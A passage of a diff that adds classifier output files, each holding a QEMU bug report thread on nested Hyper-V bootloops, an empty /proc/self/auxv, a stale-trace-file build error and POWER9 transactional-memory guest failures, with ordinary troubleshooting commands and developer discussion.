initialize and continue booting: https://gist.github.com/552baa8be026e67bef2d223076b81636 + +An alternative to that patch is just telling Hyper-V xsave is disabled. In the guest before enabling Hyper-V: bcdedit /set xsavedisable 1 + +Unfortunately while this does let the guest Hyper-V initialize, the nested (root) Windows guest doesn't boot and still gets stuck in a bootloop. + +Try instead disabling MPX with "-cpu host,-mpx". + + +Aha! The final boot loop issue is resolved if I either upgrade to 5.10 or downgrade to 5.4 from 5.8. + +So the main issue then seems to be the missing control bits. + +Adding -mpx doesn't seem to help on 5.8, the guest still bootloops. + +If you can bisect between 5.9 (I understand it's bad?) and 5.10 we could propose it for stable kernels. + +I haven't tried 5.9, just: +- 5.4.0-58 Works +- 5.8.0-33 (20.04 HWE Edge) Bootloop +- 5.10.1-051001 Works + +If I have time later I can try narrowing down which kernel causes the issue. + +But is the BNDCFGS MSR issue considered a bug in qemu or what? + +It's more likely to be a bug in KVM. + +Oh, and I guess I misinterpreted what -mpx was for. To be clear, I was running into 2 issues: + +1. Hyper-V fails to initialize. + "Fixed" by one of: + a) using named cpu model + b) cpu=host and running `bcdedit /set xsavedisable 1` in Windows before enabling Hyper-V + c) cpu=host,-mpx + d) my hack-y patch from earlier + + (b) just tells Hyper-V to disable XSAVE support for its (nested) guests altogether whereas (c) is more fine=grained and just disables the BNDCFGx bits. + +2. Hyper-V initializes but Windows bootloops. I only seem to run into this with 5.8 but not 5.4 or 5.10. + +Ran into the same issue on Proxmox 6.3-3 +Setting `bcdedit /set xsavedisable 1` and using cpu=host works for me +Without I get bootloops and other options that luqmana posted, Hyper-V fails to start + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +Looking at the comments here, I assume this has been a bug in the kernel, not in QEMU, so I'm closing this one now. If you still think this is something that needs fixing in QEMU, please open a new ticket in the new bug tracker at https://gitlab.com/qemu-project/qemu/-/issues instead. + diff --git a/results/classifier/deepseek-1/output/error./1728116 b/results/classifier/deepseek-1/output/error./1728116 new file mode 100644 index 00000000..19c36a07 --- /dev/null +++ b/results/classifier/deepseek-1/output/error./1728116 @@ -0,0 +1,60 @@ + +Empty /proc/self/auxv (linux-user) + +The userspace Linux API virtualization used to fake access to /proc/self/auxv, to provide meaningful data for the guest process. + +For newer qemu versions, this fails: The openat() is intercepted, but there's no content: /proc/self/auxv has length zero (i.e. reading from it returns 0 bytes). + +Good: + +$ x86_64-linux-user/qemu-x86_64 /usr/bin/cat /proc/self/auxv | wc -c +256 /proc/self/auxv + +Bad: + +$ x86_64-linux-user/qemu-x86_64 /usr/bin/cat /proc/self/auxv | wc -c +0 /proc/self/auxv + +This worked in 2.7.1, and fails in 2.10.1. + +This causes e.g. any procps-ng-based tool to segfault while reading from /proc/self/auxv in an endless loop (probably worth another bug report...) + +Doing a "git bisect" shows that this commit: https://github.com/qemu/qemu/commit/7c4ee5bcc introduced the problem. + +It might be a simple logic (subtraction in the wrong direction?) or sign-ness error: Adding some logging (to v2.10.1) + +diff --git a/linux-user/syscall.c b/linux-user/syscall.c +index 9b6364a..49285f9 100644 +--- a/linux-user/syscall.c ++++ b/linux-user/syscall.c +@@ -7469,6 +7469,9 @@ static int open_self_auxv(void *cpu_env, int fd) + abi_ulong len = ts->info->auxv_len; + char *ptr; + ++ gemu_log(TARGET_ABI_FMT_lu"\n", len); ++ gemu_log(TARGET_ABI_FMT_ld"\n", len); ++ + /* + * Auxiliary vector is stored in target process stack. + * read in whole auxv vector and copy it to file + +shows this output: + +$ x86_64-linux-user/qemu-x86_64 /usr/bin/cat /proc/self/auxv | wc -c +18446744073709551264 +-352 +0 + +And 352 could be the expected length. + +Oops, yes, commit 7c4ee5bcc82e643 broke this -- it switched the order in which we fill in the AUXV info, but forgot to adjust the calculation of the length, which as you've guessed we now get backwards. + + +I've just sent this patch which fixes this bug: +https://lists.gnu.org/archive/html/qemu-devel/2017-11/msg01199.html +(it turns out it wasn't quite as simple as getting the sign wrong, we were subtracting two things that were totally wrong). + + +Fix has been released with QEMU 2.11: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=f516511ea84d8bb3395d6e + diff --git a/results/classifier/deepseek-1/output/errors./1184616 b/results/classifier/deepseek-1/output/errors./1184616 new file mode 100644 index 00000000..a33acc81 --- /dev/null +++ b/results/classifier/deepseek-1/output/errors./1184616 @@ -0,0 +1,206 @@ + + undefined reference to `trace_qemu_anon_ram_alloc' + +The latest git version (commit 6a4e17711442849bf2cc731ccddef5a2a2d92d29) fails to compile: + +... + LINK qemu-ga +libqemuutil.a(oslib-posix.o): In function `qemu_anon_ram_alloc': +oslib-posix.c:(.text+0x154): undefined reference to `trace_qemu_anon_ram_alloc' +libqemuutil.a(oslib-posix.o): In function `qemu_anon_ram_free': +oslib-posix.c:(.text+0x1e7): undefined reference to `trace_qemu_anon_ram_free' +collect2: error: ld returned 1 exit status +make: *** [qemu-ga] Error 1 + +This is on Ubuntu 13.04, gcc 4.7.3, configure flags: +'./configure' '--enable-linux-aio' '--enable-kvm' '--enable-vhost-net' + +On Mon, May 27, 2013 at 4:02 PM, Nigel Horne <email address hidden> wrote: +> The latest git version (commit 6a4e17711442849bf2cc731ccddef5a2a2d92d29) +> fails to compile: +> +> ... +> LINK qemu-ga +> libqemuutil.a(oslib-posix.o): In function `qemu_anon_ram_alloc': +> oslib-posix.c:(.text+0x154): undefined reference to `trace_qemu_anon_ram_alloc' +> libqemuutil.a(oslib-posix.o): In function `qemu_anon_ram_free': +> oslib-posix.c:(.text+0x1e7): undefined reference to `trace_qemu_anon_ram_free' +> collect2: error: ld returned 1 exit status +> make: *** [qemu-ga] Error 1 +> +> This is on Ubuntu 13.04, gcc 4.7.3, configure flags: +> './configure' '--enable-linux-aio' '--enable-kvm' '--enable-vhost-net' + +Please try: +make distclean && ./configure --enable-linux-aio --enable-kvm +--enable-vhost-net && make + +Stefan + + +> On Mon, May 27, 2013 at 4:02 PM, Nigel Horne <email address hidden> +> wrote: +>> The latest git version (commit 6a4e17711442849bf2cc731ccddef5a2a2d92d29) +>> fails to compile: +>> +>> ... +>> LINK qemu-ga +>> libqemuutil.a(oslib-posix.o): In function `qemu_anon_ram_alloc': +>> oslib-posix.c:(.text+0x154): undefined reference to +>> `trace_qemu_anon_ram_alloc' +>> libqemuutil.a(oslib-posix.o): In function `qemu_anon_ram_free': +>> oslib-posix.c:(.text+0x1e7): undefined reference to +>> `trace_qemu_anon_ram_free' +>> collect2: error: ld returned 1 exit status +>> make: *** [qemu-ga] Error 1 +>> +>> This is on Ubuntu 13.04, gcc 4.7.3, configure flags: +>> './configure' '--enable-linux-aio' '--enable-kvm' '--enable-vhost-net' +> +> Please try: +> make distclean && ./configure --enable-linux-aio --enable-kvm +> --enable-vhost-net && make + +I tried that before I raised the bug. However I tried it again to be sure, +and yes I still get the same error. + +> +> Stefan + +Regards, + +-Nigel + + + +On Mon, May 27, 2013 at 09:04:26PM -0000, Nigel Horne wrote: +> > On Mon, May 27, 2013 at 4:02 PM, Nigel Horne <email address hidden> +> > wrote: +> >> The latest git version (commit 6a4e17711442849bf2cc731ccddef5a2a2d92d29) +> >> fails to compile: +> >> +> >> ... +> >> LINK qemu-ga +> >> libqemuutil.a(oslib-posix.o): In function `qemu_anon_ram_alloc': +> >> oslib-posix.c:(.text+0x154): undefined reference to +> >> `trace_qemu_anon_ram_alloc' +> >> libqemuutil.a(oslib-posix.o): In function `qemu_anon_ram_free': +> >> oslib-posix.c:(.text+0x1e7): undefined reference to +> >> `trace_qemu_anon_ram_free' +> >> collect2: error: ld returned 1 exit status +> >> make: *** [qemu-ga] Error 1 +> >> +> >> This is on Ubuntu 13.04, gcc 4.7.3, configure flags: +> >> './configure' '--enable-linux-aio' '--enable-kvm' '--enable-vhost-net' +> > +> > Please try: +> > make distclean && ./configure --enable-linux-aio --enable-kvm +> > --enable-vhost-net && make +> +> I tried that before I raised the bug. However I tried it again to be sure, +> and yes I still get the same error. + +Please post the output of "git status". I wonder if there are stale +files because the build works fine here. + +Stefan + + + +>>> On Mon, May 27, 2013 at 4:02 PM, Nigel Horne <email address hidden> +>>> wrote: +>>>> The latest git version (commit 6a4e17711442849bf2cc731ccddef5a2a2d92d29) +>>>> fails to compile: +>>>> +>>>> ... +>>>> LINK qemu-ga +>>>> libqemuutil.a(oslib-posix.o): In function `qemu_anon_ram_alloc': +>>>> oslib-posix.c:(.text+0x154): undefined reference to +>>>> `trace_qemu_anon_ram_alloc' +>>>> libqemuutil.a(oslib-posix.o): In function `qemu_anon_ram_free': +>>>> oslib-posix.c:(.text+0x1e7): undefined reference to +>>>> `trace_qemu_anon_ram_free' +>>>> collect2: error: ld returned 1 exit status +>>>> make: *** [qemu-ga] Error 1 +>>>> +>>>> This is on Ubuntu 13.04, gcc 4.7.3, configure flags: +>>>> './configure' '--enable-linux-aio' '--enable-kvm' '--enable-vhost-net' +>>> Please try: +>>> make distclean && ./configure --enable-linux-aio --enable-kvm +>>> --enable-vhost-net && make +>> I tried that before I raised the bug. However I tried it again to be sure, +>> and yes I still get the same error. +> Please post the output of "git status". I wonder if there are stale +> files because the build works fine here. + +Here it is: + +# On branch master +# Untracked files: +# (use "git add <file>..." to include in what will be committed) +# +# libhw32/ +# libhw64/ +# trace.c +# trace.h + +I don't do any local modification just 'git pull' and recompile. Perhaps +git is broken so I should 'git clone' and start again. + +-Nigel + + + +On Tue, May 28, 2013 at 3:18 PM, Nigel Horne <email address hidden> wrote: +>>>> On Mon, May 27, 2013 at 4:02 PM, Nigel Horne <email address hidden> +>>>> wrote: +>>>>> The latest git version (commit 6a4e17711442849bf2cc731ccddef5a2a2d92d29) +>>>>> fails to compile: +>>>>> +>>>>> ... +>>>>> LINK qemu-ga +>>>>> libqemuutil.a(oslib-posix.o): In function `qemu_anon_ram_alloc': +>>>>> oslib-posix.c:(.text+0x154): undefined reference to +>>>>> `trace_qemu_anon_ram_alloc' +>>>>> libqemuutil.a(oslib-posix.o): In function `qemu_anon_ram_free': +>>>>> oslib-posix.c:(.text+0x1e7): undefined reference to +>>>>> `trace_qemu_anon_ram_free' +>>>>> collect2: error: ld returned 1 exit status +>>>>> make: *** [qemu-ga] Error 1 +>>>>> +>>>>> This is on Ubuntu 13.04, gcc 4.7.3, configure flags: +>>>>> './configure' '--enable-linux-aio' '--enable-kvm' '--enable-vhost-net' +>>>> Please try: +>>>> make distclean && ./configure --enable-linux-aio --enable-kvm +>>>> --enable-vhost-net && make +>>> I tried that before I raised the bug. However I tried it again to be sure, +>>> and yes I still get the same error. +>> Please post the output of "git status". I wonder if there are stale +>> files because the build works fine here. +> +> Here it is: +> +> # On branch master +> # Untracked files: +> # (use "git add <file>..." to include in what will be committed) +> # +> # libhw32/ +> # libhw64/ +> # trace.c +> # trace.h + +rm trace.[ch] + +Then try again. + +The problem is that the auto-generated tracing files moved into +trace/generated-* but the Makefile and C compiler include paths still +pick up the old trace.[ch]. + +You probably built an older version of QEMU first in the same +directory. The latest make distclean doesn't know about the old +trace.[ch] files. + +Stefan + + diff --git a/results/classifier/deepseek-1/output/errors./1752026 b/results/classifier/deepseek-1/output/errors./1752026 new file mode 100644 index 00000000..6ae9fb17 --- /dev/null +++ b/results/classifier/deepseek-1/output/errors./1752026 @@ -0,0 +1,1250 @@ + +Ubuntu18.04:POWER9:DD2.2 - Unable to start a KVM guest with default machine type(pseries-bionic) complaining "KVM implementation does not support Transactional Memory, try cap-htm=off" (kvm) + +== Comment: #0 - Satheesh Rajendran <email address hidden> - 2018-02-23 08:31:06 == +---Problem Description--- +libvirt unable to start a KVM guest complaining about cap-htm machine property to be off + +Host Env: +# lscpu +Architecture: ppc64le +Byte Order: Little Endian +CPU(s): 160 +On-line CPU(s) list: 0-159 +Thread(s) per core: 4 +Core(s) per socket: 20 +Socket(s): 2 +NUMA node(s): 2 +Model: 2.2 (pvr 004e 1202) +Model name: POWER9 (raw), altivec supported +CPU max MHz: 3800.0000 +CPU min MHz: 2166.0000 +L1d cache: 32K +L1i cache: 32K +L2 cache: 512K +L3 cache: 10240K +NUMA node0 CPU(s): 0-79 +NUMA node8 CPU(s): 80-159 + +ii qemu-kvm 1:2.11+dfsg-1ubuntu2 ppc64el QEMU Full virtualization on x86 hardware + +ii libvirt-bin 4.0.0-1ubuntu3 ppc64el programs for the libvirt library + +# lsmcode +Version of System Firmware : + Product Name : OpenPOWER Firmware + Product Version : open-power-SUPERMICRO-P9DSU-V1.03-20180205-imp + Product Extra : occ-577915f + Product Extra : skiboot-v5.9-240-g081882690163-pcbedce4 + Product Extra : petitboot-v1.6.6-p019c87e + Product Extra : sbe-095e608 + Product Extra : machine-xml-fb5f933 + Product Extra : hostboot-9bfb201 + Product Extra : linux-4.14.13-openpower1-p78d7eee + + + +Contact Information = <email address hidden> + +---uname output--- +4.15.0-10-generic + +Machine Type = power9 boston 2.2 (pvr 004e 1202) + +---Debugger--- +A debugger is not configured + +---Steps to Reproduce--- + 1. Boot a guest from libvirt with default pseries machine type or pseries-bionic + +/usr/bin/virt-install --connect=qemu:///system --hvm --accelerate --name 'virt-tests-vm1' --machine pseries --memory=32768 --vcpu=32,sockets=1,cores=32,threads=1 --import --nographics --serial pty --memballoon model=virtio --controller type=scsi,model=virtio-scsi --disk path=/var/lib/libvirt/images/workspace/runAvocadoFVTTest/avocado-fvt-wrapper/data/avocado-vt/images/ubuntu-18.04-ppc64le.qcow2,bus=scsi,size=10,format=qcow2 --network=bridge=virbr0,model=virtio,mac=52:54:00:77:78:79 --noautoconsole +WARNING No operating system detected, VM performance may suffer. Specify an OS with --os-variant for optimal results. + +Starting install... +ERROR internal error: process exited while connecting to monitor: ,id=scsi0-0-0-0,bootindex=1 -netdev tap,fd=24,id=hostnet0,vhost=on,vhostfd=26 -device virtio-net-pci,netdev=hostnet0,id=net0,mac=52:54:00:77:78:79,bus=pci.0,addr=0x1 -chardev pty,id=charserial0 -device spapr-vty,chardev=charserial0,id=serial0,reg=0x30000000 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x4 -msg timestamp=on +2018-02-23T14:21:11.081809Z qemu-system-ppc64: KVM implementation does not support Transactional Memory, try cap-htm=off +Domain installation does not appear to have been successful. +If it was, you can restart your domain by running: + virsh --connect qemu:///system start virt-tests-vm1 +otherwise, please restart your installation. + +2. Fails to boot.. + +Note: if we specify machine type as pseries=2.12 it boots fine like below + +/usr/bin/virt-install --connect=qemu:///system --hvm --accelerate --name 'virt-tests-vm1' --machine pseries-2.12 --memory=32768 --vcpu=32,sockets=1,cores=32,threads=1 --import --nographics --serial pty --memballoon model=virtio --controller type=scsi,model=virtio-scsi --disk path=/var/lib/libvirt/images/workspace/runAvocadoFVTTest/avocado-fvt-wrapper/data/avocado-vt/images/ubuntu-18.04-ppc64le.qcow2,bus=scsi,size=10,format=qcow2 --network=bridge=virbr0,model=virtio,mac=52:54:00:77:78:79 --noautoconsole +WARNING No operating system detected, VM performance may suffer. Specify an OS with --os-variant for optimal results. + +qemu-cmd line: + +libvirt+ 4283 1 99 09:26 ? 00:00:38 qemu-system-ppc64 -enable-kvm -name guest=virt-tests-vm1,debug-threads=on -S -object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-4-virt-tests-vm1/master-key.aes -machine pseries-2.12,accel=kvm,usb=off,dump-guest-core=off -m 32768 -realtime mlock=off -smp 32,sockets=1,cores=32,threads=1 -uuid 108ac2b5-e8b2-4399-a925-a707e8020871 -display none -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/domain-4-virt-tests-vm1/monitor.sock,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -boot strict=on -device qemu-xhci,id=usb,bus=pci.0,addr=0x3 -device virtio-scsi-pci,id=scsi0,bus=pci.0,addr=0x2 -drive file=/var/lib/libvirt/images/workspace/runAvocadoFVTTest/avocado-fvt-wrapper/data/avocado-vt/images/ubuntu-18.04-ppc64le.qcow2,format=qcow2,if=none,id=drive-scsi0-0-0-0 -device scsi-hd,bus=scsi0.0,channel=0,scsi-id=0,lun=0,drive=drive-scsi0-0-0-0,id=scsi0-0-0-0,bootindex=1 -netdev tap,fd=24,id=hostnet0,vhost=on,vhostfd=26 -device virtio-net-pci,netdev=hostnet0,id=net0,mac=52:54:00:77:78:79,bus=pci.0,addr=0x1 -chardev pty,id=charserial0 -device spapr-vty,chardev=charserial0,id=serial0,reg=0x30000000 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x4 -msg timestamp=on + + +Userspace tool common name: ii libvirt-bin 4.0.0-1ubuntu3 ppc64el programs for the libvirt library + +The userspace tool has the following bit modes: both + +Userspace rpm: ii libvirt-bin 4.0.0-1ubuntu3 ppc64el programs for the libvirt library + +Userspace tool obtained from project website: na + +*Additional Instructions for <email address hidden>: +-Post a private note with access information to the machine that the bug is occuring on. +-Attach ltrace and strace of userspace application. + +== Comment: #1 - Satheesh Rajendran <email address hidden> - 2018-02-23 08:35:17 == +vm qemu log for failed and passed cases: + +Failed:(pseries-bionic) +2018-02-23 14:21:10.806+0000: starting up libvirt version: 4.0.0, package: 1ubuntu3 (Christian Ehrhardt <email address hidden> Mon, 19 Feb 2018 14:18:44 +0100), qemu version: 2.11.1(Debian 1:2.11+dfsg-1ubuntu2), hostname: ltc-boston8.aus.stglabs.ibm.com +LC_ALL=C PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin QEMU_AUDIO_DRV=none /usr/bin/kvm -name guest=virt-tests-vm1,debug-threads=on -S -object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-3-virt-tests-vm1/master-key.aes -machine pseries-bionic,accel=kvm,usb=off,dump-guest-core=off -m 32768 -realtime mlock=off -smp 32,sockets=1,cores=32,threads=1 -uuid 36c37d3b-fb24-4350-94f9-3271b257f75c -display none -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/domain-3-virt-tests-vm1/monitor.sock,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -boot strict=on -device qemu-xhci,id=usb,bus=pci.0,addr=0x3 -device virtio-scsi-pci,id=scsi0,bus=pci.0,addr=0x2 -drive file=/var/lib/libvirt/images/workspace/runAvocadoFVTTest/avocado-fvt-wrapper/data/avocado-vt/images/ubuntu-18.04-ppc64le.qcow2,format=qcow2,if=none,id=drive-scsi0-0-0-0 -device scsi-hd,bus=scsi0.0,channel=0,scsi-id=0,lun=0,drive=drive-scsi0-0-0-0,id=scsi0-0-0-0,bootindex=1 -netdev tap,fd=24,id=hostnet0,vhost=on,vhostfd=26 -device virtio-net-pci,netdev=hostnet0,id=net0,mac=52:54:00:77:78:79,bus=pci.0,addr=0x1 -chardev pty,id=charserial0 -device spapr-vty,chardev=charserial0,id=serial0,reg=0x30000000 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x4 -msg timestamp=on +2018-02-23T14:21:10.909242Z qemu-system-ppc64: -chardev pty,id=charserial0: char device redirected to /dev/pts/1 (label charserial0) +2018-02-23T14:21:11.081809Z qemu-system-ppc64: KVM implementation does not support Transactional Memory, try cap-htm=off +2018-02-23 14:21:18.857+0000: shutting down, reason=failed + + +Passed:(pseries-2.12) +2018-02-23 14:26:07.047+0000: starting up libvirt version: 4.0.0, package: 1ubuntu3 (Christian Ehrhardt <email address hidden> Mon, 19 Feb 2018 14:18:44 +0100), qemu version: 2.11.1(Debian 1:2.11+dfsg-1ubuntu2), hostname: ltc-boston8.aus.stglabs.ibm.com +LC_ALL=C PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin QEMU_AUDIO_DRV=none /usr/bin/kvm -name guest=virt-tests-vm1,debug-threads=on -S -object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-4-virt-tests-vm1/master-key.aes -machine pseries-2.12,accel=kvm,usb=off,dump-guest-core=off -m 32768 -realtime mlock=off -smp 32,sockets=1,cores=32,threads=1 -uuid 108ac2b5-e8b2-4399-a925-a707e8020871 -display none -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/domain-4-virt-tests-vm1/monitor.sock,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -boot strict=on -device qemu-xhci,id=usb,bus=pci.0,addr=0x3 -device virtio-scsi-pci,id=scsi0,bus=pci.0,addr=0x2 -drive file=/var/lib/libvirt/images/workspace/runAvocadoFVTTest/avocado-fvt-wrapper/data/avocado-vt/images/ubuntu-18.04-ppc64le.qcow2,format=qcow2,if=none,id=drive-scsi0-0-0-0 -device scsi-hd,bus=scsi0.0,channel=0,scsi-id=0,lun=0,drive=drive-scsi0-0-0-0,id=scsi0-0-0-0,bootindex=1 -netdev tap,fd=24,id=hostnet0,vhost=on,vhostfd=26 -device virtio-net-pci,netdev=hostnet0,id=net0,mac=52:54:00:77:78:79,bus=pci.0,addr=0x1 -chardev pty,id=charserial0 -device spapr-vty,chardev=charserial0,id=serial0,reg=0x30000000 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x4 -msg timestamp=on +2018-02-23T14:26:07.116991Z qemu-system-ppc64: -chardev pty,id=charserial0: char device redirected to /dev/pts/1 (label charserial0) + +Regards, +-Satheesh + +== Comment: #8 - VIPIN K. PARASHAR <email address hidden> - 2018-02-25 23:38:29 == +Starting install... +ERROR internal error: process exited while connecting to monitor: ,id=scsi0-0-0-0,bootindex=1 -netdev tap,fd=24,id=hostnet0,vhost=on,vhostfd=26 -device virtio-net-pci,netdev=hostnet0,id=net0,mac=52:54:00:77:78:79,bus=pci.0,addr=0x1 -chardev pty,id=charserial0 -device spapr-vty,chardev=charserial0,id=serial0,reg=0x30000000 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x4 -msg timestamp=on +2018-02-23T14:21:11.081809Z qemu-system-ppc64: KVM implementation does not support Transactional Memory, try cap-htm=off +Domain installation does not appear to have been successful. +If it was, you can restart your domain by running: + virsh --connect qemu:///system start virt-tests-vm1 +otherwise, please restart your installation. + +As per above message, qemu is reporting TM to be not supported by KVM on this hardware +and thus recommending to turn off cap-htm. + +== Comment: #12 - Suraj Jitindar Singh <email address hidden> - 2018-02-26 23:35:02 == +I don't know what a pseries-bionic is, there is no reference to it upstream. + +What you are seeing is expected behaviour as far as I can tell. POWER9 currently does not support HTM for a guest and thus it must not be turned on, otherwise qemu will fail to start. + +HTM can be disabled from the qemu command line by setting cap-htm=off, as stated in the the error message. The pseries-2.12 machine type has htm disabled by default and thus with that machine type there is no requirement to set cap-htm=off on the command line to get qemu to start. + +So depending on what machine pseries-bionic is based on it will be required to disable htm on the command line (with cap-htm=off) if it is not disabled by default for the machine. + +== Comment: #13 - Satheesh Rajendran <email address hidden> - 2018-02-27 00:05:12 == +Had a chat with Suraj and here is the summary + +1. Currently Power9 DD2.2(host kernel) does not support HTM, so guest should be booted with cap-htm=off, looks like host kernel patch rework in progress--> Initial patch, https://www.spinics.net/lists/kvm-ppc/msg13378.html +2. Libvirt does not know about this cap-htm yet and currently it does not set any default values? +3. pseries-2.12 does have cap-htm=off by default but not the older machine types, so we see the guest is booting from libvirt with pseries-2.12 +4. Once 1 is fixed, we can boot cap-htm=on, I guess by that time pseries-2.12 to be changed to cap-htm=on bydefault. + +---> 3. Immediate fix can be Canonical defaults their machine type(pseries-bioic) to pseries-2.12... +---> Future 1 and 4 to be addressed, not sure about 2? + +Needs a mirror to Canonical to address this. + +Regards, +-Satheesh + +Hi, the long description in this bug is a little confusing. Some of the comments appear to suggest that the required support is not yet upstream. + +Could the reporter confirm whether there any current upstream patches that require backporting urgently (the bug is marked as critical)? + +Or whether further upstream work is required before backporting should begin. + +Thanks, Andy. + + +Hi, +Thanks Andrew - I agree in general. +The following is based on the assumption that the linked discussion (kernel change) is not upstream yet. +Any clarification on that will help thou. + +OTOH I want to start the discussion on the options we have early on. + +I have seen the pseries-2.12 changes in the qemu 2.11.1 stable release (didn't like them). +Especially for things like those that you mentioned "... I guess by that time pseries-2.12 to be changed to cap-htm=on by default" is the reason I can't pick a 2.12 type until 2.12 is final and released. + +We never can allow a case where pseries-2.12 != pseries-2.12 (for migrations and such). + +So at the moment the default pseries-bionic is based on 2.11 being the usual default of qemu 2.11 and the one that is meant to be (and stay) stable. + +So on the proposed change "3. Immediate fix can be Canonical defaults their machine type(pseries-bioic) to pseries-2.12" I'm reluctant to do so, as: + - only pseries would be 2.12 + - there is a high chance we end up with 2.12 != 2.12 down the road + + +Suggestion #1: +If you (=IBM as the authoritative entity for Power) decide that you want htm to be off in the 2.11 machine type in the Ubuntu 18.04 (=Bionic) release we can do that (as Bionic is not released yet we can still change it). + +But that would stay for the entire time of the Bionic release. +So pseries-bionic (the default) => pseries-2.11 (+htm off) will be the default until year 2023 + +Once (if) the host kernel at some point supports htm properly you can surely change the 2.12 type upstream, we would pick that up and later releases will default to a htm on case then. +Also people could run Bionic (which sets htm=off by default then) and run if needed with a htm=on override. + +But even all that would mean that e.g. a new qemu from the Ubuntu cloud archive in a year, would fail the same on a 18.04 base kernel. + +The real fix is to get that host support upstream (kernel) and get it in the Ubuntu kernel prior to the release of 18.04 - is that a realistic timeline, when do you expect this gets upstream? + +I hope those clarifications helped to see why I think just choosing the 2.12 type is no option. + +Thereby Counter-proposing: +1. in qemu we can make default pseries-bionic => pseries-2.11 (+htm off) if you want. + That makes things safe to use for now, but OTOH htm an opt-in feature on Ubuntu 18.04 + That would stay that way for the support time of 18.04 +OR +2. You get the kernel fix upstream asap and Ubuntu integrates before release of 18.04 + Then qemu/libvirt as is would work on P9 DD 2.2+ + (until that happens you can test with an override to set htm=off) + + +But any decision between #1/#2 depends very much on: +- the expected timeline of your kernel changes +- your preferenc in regard to the htm feature +So it is up to you to clarify on that as Andrew pointed out. + +------- Comment From <email address hidden> 2018-02-27 22:50 EDT------- +1. +If it's decided thatwe want to default to cap-htm=off, then that can be achieved by adding: +```smc->default_caps.caps[SPAPR_CAP_HTM] = SPAPR_CAP_OFF;``` +to the spapr-bionic machine class init + +2. +What is the timeframe we are talking about here, a week/a month? It's hard to give a firm timeframe on the patches going upstream + +For 1. I mostly agree, the default is currently off in code and in 2.11 there is this for backwards compatability: + smc->default_caps.caps[SPAPR_CAP_HTM] = SPAPR_CAP_ON; + +We would have to +- Moving that "keep the old default" entry to 2.10 (to cover <=2.10) + spapr_machine_2_10_class_options + smc->default_caps.caps[SPAPR_CAP_HTM] = SPAPR_CAP_ON; +- And we would set it explicit off in 2.11 (which is what pseries-bionic refers to) + spapr_machine_2_11_class_options + smc->default_caps.caps[SPAPR_CAP_HTM] = SPAPR_CAP_OFF; +- 2.12 we would not change IMHO, that might become whatever it becomes with 2.12 development + + +For #2 - this is a bug fix so it does not fall under the Feature Freeze (tomorrow). +But I don't know how much lead time the kernel team needs. +Given that kernel fixes are involved this clearly needs a kernel task for them to know about - adding ... + +@Kernel - please read the context - what is the last date you'd need to have this commit upstream by IBM to be able to pick it and still be in the initial 18.04 release kernel (not in -updates)? + +@IBM - how about this approach: +A) We switch the default to HTM=off in qemu "now" (as soon as you ack this) to be safe +B) If you get the kernel fixes upstream fast enough for the kernel Team to pick up in time: + B1) a fixed kernel will be pushed (before 18.04 release) + B2) we unroll this change in qemu (before 18.04 release) + +That way we would surely have something that "works" by default via (A) and if (B) is in time we can switch back to "working but with HTM enabled". +And if (B) is too late we will keep HTM disabled in the 2.11/Bionic machine type. + +------- Comment From <email address hidden> 2018-03-01 00:00 EDT------- +*** Bug 165240 has been marked as a duplicate of this bug. *** + +------- Comment From <email address hidden> 2018-03-01 01:22 EDT------- +Seems like the best option in my opinion + +Sorry, but to be sure is that a clear "yes please disable HTM by default in qemu on ppc64el for Ubuntu 18.04" ? + +Status changed to 'Confirmed' because the bug affects multiple users. + +------- Comment From <email address hidden> 2018-03-01 10:42 EDT------- +@paelzer yes, that is us agreeing with your plan +>A) We switch the default to HTM=off in qemu "now" (as soon as you ack this) to be safe +>B) If you get the kernel fixes upstream fast enough for the kernel Team to pick up in time: +>... + +Sorry for the delay. + +------- Comment From <email address hidden> 2018-03-01 12:41 EDT------- +(In reply to comment #27) +> @paelzer yes, that is us agreeing with your plan + +Does it mean that we are not going to have HTM support on KVM guests, even in POWER8? + +------- Comment From <email address hidden> 2018-03-01 13:17 EDT------- +(In reply to comment #28) +> (In reply to comment #27) +> > @paelzer yes, that is us agreeing with your plan +> +> Does it mean that we are not going to have HTM support on KVM guests, even +> in POWER8? + +you would use the 2.10 machine type for that, right? + +------- Comment From <email address hidden> 2018-03-01 15:07 EDT------- +(In reply to comment #29) +> (In reply to comment #28) +> > (In reply to comment #27) +> > > @paelzer yes, that is us agreeing with your plan +> > +> > Does it mean that we are not going to have HTM support on KVM guests, even +> > in POWER8? +> +> you would use the 2.10 machine type for that, right? +Right. This is about the new machine type. + +To the mini-discussion above - yes it would be default off on P8 as well then. +But by selecting an older machine type, or - even better - using the new 